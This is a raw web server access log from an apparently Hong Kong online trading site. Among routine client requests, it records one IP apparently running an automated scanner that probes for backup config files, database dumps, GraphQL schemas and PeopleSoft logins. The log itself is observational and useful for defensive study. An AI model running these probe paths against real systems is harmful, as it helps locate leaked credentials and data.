[09/Jan/2026:10:52:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927424643 HTTP/1.1" -
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/graphql-explorer HTTP/1.1" 196
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.sql.z HTTP/1.1" 196
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/graphql.php HTTP/1.1" 196
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hcmprdfp/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/graphql/console HTTP/1.1" 196
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kingston.war HTTP/1.1" 196
[09/Jan/2026:10:52:35 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRODASP/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.bk HTTP/1.1" 196
[09/Jan/2026:10:52:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/graphql/schema.json HTTP/1.1" 196
[09/Jan/2026:10:52:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.tar HTTP/1.1" 196
[09/Jan/2026:10:52:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/guest/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak.bk HTTP/1.1" 196
[09/Jan/2026:10:52:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/graphql/schema.xml HTTP/1.1" 196
[09/Jan/2026:10:52:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.7z HTTP/1.1" 196
[09/Jan/2026:10:52:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CSPRD_PUB/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bk HTTP/1.1" 196
[09/Jan/2026:10:52:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/graphql/schema.yaml HTTP/1.1" 196
[09/Jan/2026:10:52:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/LHCGWPRD_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.bz2 HTTP/1.1" 196
[09/Jan/2026:10:52:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/playground HTTP/1.1" 196
[09/Jan/2026:10:52:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.gz HTTP/1.1" 196
[09/Jan/2026:10:52:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CCHIPRD_2/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //v4/subscriptions HTTP/1.1" 196
[09/Jan/2026:10:52:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.bak HTTP/1.1" 196
[09/Jan/2026:10:52:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/applyuth/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.lz HTTP/1.1" 196
[09/Jan/2026:10:52:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.rar HTTP/1.1" 196
[09/Jan/2026:10:52:36 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CAREERS/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:52:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:52:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/heprod_5/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.xz HTTP/1.1" 196
[09/Jan/2026:10:52:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/saprod/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hr857prd_er/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.zip HTTP/1.1" 196
[09/Jan/2026:10:52:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.z HTTP/1.1" 196
[09/Jan/2026:10:52:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CHUMPRDM/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HR92PRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.Z HTTP/1.1" 196
[09/Jan/2026:10:52:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:37 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/cangate_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.tar.z HTTP/1.1" 196
[09/Jan/2026:10:52:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/ihprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.tgz HTTP/1.1" 196
[09/Jan/2026:10:52:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psc/ps/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.db HTTP/1.1" 196
[09/Jan/2026:10:52:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csperf/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.jar HTTP/1.1" 196
[09/Jan/2026:10:52:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/FMPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.sqlite HTTP/1.1" 196
[09/Jan/2026:10:52:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:52:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hcmprdfp/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927430490 HTTP/1.1" -
[09/Jan/2026:10:52:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:52:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRODASP/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:52:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/guest/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:52:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CSPRD_PUB/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:52:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/LHCGWPRD_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:52:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.bak HTTP/1.1" 196
[09/Jan/2026:10:52:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CCHIPRD_2/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:52:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927443358 HTTP/1.1" -
[09/Jan/2026:10:52:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:52:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/applyuth/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:52:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:52:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:52:39 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:52:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:52:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:52:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:52:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:52:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.sql.z HTTP/1.1" 196
[09/Jan/2026:10:52:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CAREERS/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:52:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:52:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/heprod_5/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/saprod/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /trade.war HTTP/1.1" 196
[09/Jan/2026:10:52:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927429688 HTTP/1.1" -
[09/Jan/2026:10:52:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hr857prd_er/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.tar HTTP/1.1" 196
[09/Jan/2026:10:52:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.7z HTTP/1.1" 196
[09/Jan/2026:10:52:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CHUMPRDM/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml.bak HTTP/1.1" 196
[09/Jan/2026:10:52:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.bz2 HTTP/1.1" 196
[09/Jan/2026:10:52:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HR92PRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.gz HTTP/1.1" 196
[09/Jan/2026:10:52:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/cangate_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.lz HTTP/1.1" 196
[09/Jan/2026:10:52:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/ihprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.rar HTTP/1.1" 196
[09/Jan/2026:10:52:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psc/ps/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:52:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csperf/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini.bak HTTP/1.1" 196
[09/Jan/2026:10:52:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:52:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/FMPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php.bak HTTP/1.1" 196
[09/Jan/2026:10:52:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.xz HTTP/1.1" 196
[09/Jan/2026:10:52:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
